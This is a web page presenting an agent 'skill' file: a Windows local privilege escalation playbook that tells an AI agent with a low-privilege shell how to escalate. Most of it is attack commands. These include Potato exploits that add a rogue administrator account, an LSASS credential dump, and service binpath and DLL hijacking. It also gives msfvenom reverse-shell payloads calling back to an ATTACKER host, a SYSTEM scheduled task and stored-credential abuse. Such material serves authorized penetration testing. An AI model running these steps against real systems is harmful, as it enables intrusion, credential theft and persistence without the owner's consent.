windows-privilege-escalation
Skill1 starsChanged 3 months agoMITView on GitHub
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
4 other projects use a version of this, 3 of them edited.
Adopted by
Most recently taken up by
- zebbern/claude-code-guidetheir own version, first seen Oct 30, 2026
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- JustineDevs/premortemedited, first seen Jun 9, 2026
- yaklang/hack-skillsedited, first seen Apr 29, 2026
Other versions4 projects use a version of this.
Word for word · 0
None found.
Edited · 3
- yaklang/hack-skills★ 2.4k95% same
- Kur1sulab/blackbox★ 395% same
- JustineDevs/premortem★ 295% same
Wrote their own version · 1
- zebbern/claude-code-guide★ 4.7ksame name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository4 other files it gives its agents.
The file
We split this skill into the rules it gives an agent
4 rules. 2 are common, 1 is distinctive, and 1 is very specific to this project.
2
Common
Most of the 4 edited versions we read keep these.
1
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 13
Before going deep, see also:
- Very specific: line 133
If path is C:\Program Files\My App\service.exe, Windows tries:
- Common: line 138
Place malicious binary at first writable location.
- Common: line 250
If an autorun entry points to a writable path → replace binary or inject new entry.
“Common” is measured: kept by at least 6 in 10 of the 4 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: Windows Local Privilege Escalation — Expert Attack Playbook
Scope: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Pays particular attention to privilege prerequisites and OS-version-specific constraints.
Related Skills
Before going deep, see also:
windows-lateral-movementafter escalation for pivoting to other hostswindows-av-evasionwhen AV/EDR blocks your privesc toolsactive-directory-kerberos-attackswhen the host is domain-joined and you need AD-level escalationactive-directory-acl-abusefor domain privilege escalation via ACL misconfigurations
Advanced Reference
Also load TOKEN_POTATO_TRICKS.md when you need:
- Detailed Potato family comparison (JuicyPotato → GodPotato evolution)
- OS-version-specific exploit selection
- Required privileges and protocol details per variant
Also load UAC_BYPASS_METHODS.md when you need:
- UAC bypass technique matrix (fodhelper, eventvwr, sdclt, etc.)
- Auto-elevate binary abuse
- Mock trusted directory tricks
1. ENUMERATION CHECKLIST
System Context
whoami /all & REM Current user, groups, privileges
systeminfo & REM OS version, hotfixes, architecture
hostname & REM Machine name
net user %USERNAME% & REM Group membershipsToken Privileges (Critical)
whoami /priv| Privilege | Escalation Path |
SeImpersonatePrivilege | Potato family exploits (§2) |
SeAssignPrimaryTokenPrivilege | Token manipulation, Potato variants |
SeDebugPrivilege | Dump LSASS, inject into SYSTEM processes |
SeBackupPrivilege | Read any file (SAM/SYSTEM/NTDS.dit) |
SeRestorePrivilege | Write any file (DLL hijack, service binary) |
SeTakeOwnershipPrivilege | Take ownership of any object |
SeLoadDriverPrivilege | Load vulnerable kernel driver → kernel exploit |
Services & Scheduled Tasks
sc query state= all & REM All services
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
schtasks /query /fo LIST /v & REM Verbose scheduled task listInstalled Software & Patches
wmic product get name,version
wmic qfe list & REM Installed patchesNetwork & Credentials
netstat -ano & REM Listening ports + PIDs
cmdkey /list & REM Stored credentials
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul2. TOKEN MANIPULATION & POTATO EXPLOITS
SeImpersonatePrivilege Abuse
Service accounts (IIS AppPool, MSSQL, etc.) typically hold SeImpersonatePrivilege. This enables impersonation of any token presented to you.
| Tool | OS Support | Protocol | Notes |
| JuicyPotato | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ |
| RoguePotato | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 |
| PrintSpoofer | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run |
| SweetPotato | Broad | COM + Print + EFS | Combines multiple techniques |
| GodPotato | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}SeDebugPrivilege Abuse
# Dump LSASS (if SeDebugPrivilege is enabled)
procdump -ma lsass.exe lsass.dmp
# Or migrate into a SYSTEM process
# Meterpreter: migrate to winlogon.exe / services.exe3. SERVICE MISCONFIGURATIONS
Unquoted Service Paths
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """If path is C:\Program Files\My App\service.exe, Windows tries:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My App\service.exe
Place malicious binary at first writable location.
Weak Service Permissions
# Check service ACL with accesschk (Sysinternals)
accesschk64.exe -wuvc * /accepteula
# Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS# Reconfigure service to run attacker binary
sc config vuln_svc binpath= "C:\temp\rev.exe"
sc stop vuln_svc
sc start vuln_svcWritable Service Binaries
# Check if current user can write to the service binary path
icacls "C:\Program Files\VulnApp\service.exe"
# (F) = Full, (M) = Modify, (W) = Write → replace binary4. DLL HIJACKING
DLL Search Order (Standard)
- Directory of the executable
C:\Windows\System32C:\Windows\SystemC:\Windows- Current directory
- Directories in
%PATH%
Exploitation
# Find missing DLLs (use Process Monitor)
# Filter: Result=NAME NOT FOUND, Path ends with .dll
# Compile malicious DLL
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll
# Place in writable directory that comes before the real DLL locationKnown Phantom DLL Targets
| Application | Missing DLL | Drop Location |
| Various .NET apps | profapi.dll | Application directory |
| Windows services | wlbsctrl.dll | %PATH% writable dir |
| Third-party updaters | VERSION.dll | Application directory |
5. ALWAYSINSTALLELEVATED
# Check both registry keys — BOTH must be set to 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated# Generate MSI payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f msi > evil.msi
msiexec /quiet /qn /i evil.msi6. SCHEDULED TASK ABUSE
# Enumerate tasks with writable scripts or missing binaries
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Schedule Type"
# Check permissions on task binary
icacls "C:\path\to\task\binary.exe"
# If writable: replace binary, wait for task execution
# If missing: place your binary at the expected pathScheduled Task via PowerShell
# If you can create tasks (unlikely from low priv, useful post-UAC-bypass)
$action = New-ScheduledTaskAction -Execute "C:\temp\rev.exe"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -User "SYSTEM"7. REGISTRY AUTORUNS
# Check writable autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
# Check permissions with accesschk
accesschk64.exe -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /accepteulaIf an autorun entry points to a writable path → replace binary or inject new entry.
8. NAMED PIPE IMPERSONATION
# Service account creates a named pipe, tricks a SYSTEM process into connecting
# The connecting client's token is then impersonated
# PrintSpoofer leverages this with the Print Spooler:
PrintSpoofer64.exe -i -c powershell.exeCustom named pipe server (requires SeImpersonatePrivilege):
# Create pipe → coerce SYSTEM connection → ImpersonateNamedPipeClient() → SYSTEM token9. AUTOMATED TOOLS
| Tool | Purpose | Command |
| winPEAS | Comprehensive Windows enumeration | winPEASx64.exe |
| PowerUp | Service/DLL/registry misconfig checks | Invoke-AllChecks |
| Seatbelt | Security-focused host survey | Seatbelt.exe -group=all |
| SharpUp | C# port of PowerUp checks | SharpUp.exe audit |
| PrivescCheck | PowerShell privesc checker | Invoke-PrivescCheck |
| BeRoot | Common misconfig finder | beRoot.exe |
10. PRIVILEGE ESCALATION DECISION TREE
Low-privilege shell on Windows
│
├── whoami /priv → SeImpersonatePrivilege?
│ ├── Yes → Potato family (§2)
│ │ ├── Server2019+/Win11 → GodPotato or PrintSpoofer
│ │ ├── Server2016/Win10 → PrintSpoofer or SweetPotato
│ │ └── Older → JuicyPotato (need CLSID)
│ └── SeDebugPrivilege? → LSASS dump / process injection
│
├── Service misconfigurations?
│ ├── Unquoted path with spaces + writable dir? → binary plant (§3)
│ ├── SERVICE_CHANGE_CONFIG on service? → reconfigure binpath (§3)
│ └── Writable service binary? → replace executable (§3)
│
├── DLL hijacking opportunity?
│ ├── Missing DLL in search path? → plant malicious DLL (§4)
│ └── Writable directory in %PATH%? → DLL plant (§4)
│
├── AlwaysInstallElevated set?
│ └── Both HKLM+HKCU = 1 → MSI payload (§5)
│
├── Scheduled task abuse?
│ ├── Task runs as SYSTEM with writable binary? → replace (§6)
│ └── Task references missing binary? → plant binary (§6)
│
├── Registry autorun writable?
│ └── Writable binary path → replace on next login/reboot (§7)
│
├── UAC bypass needed? (medium integrity → high integrity)
│ └── Load UAC_BYPASS_METHODS.md
│
├── Stored credentials?
│ ├── cmdkey /list → runas /savecred
│ ├── Autologon in registry? → plaintext creds
│ └── WiFi passwords, browser creds, DPAPI
│
└── None of the above?
├── Run winPEAS for comprehensive scan
├── Check internal services (netstat -ano)
├── Look for sensitive files (unattend.xml, web.config, *.config)
└── Check for kernel exploits (systeminfo → Windows Exploit Suggester)Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

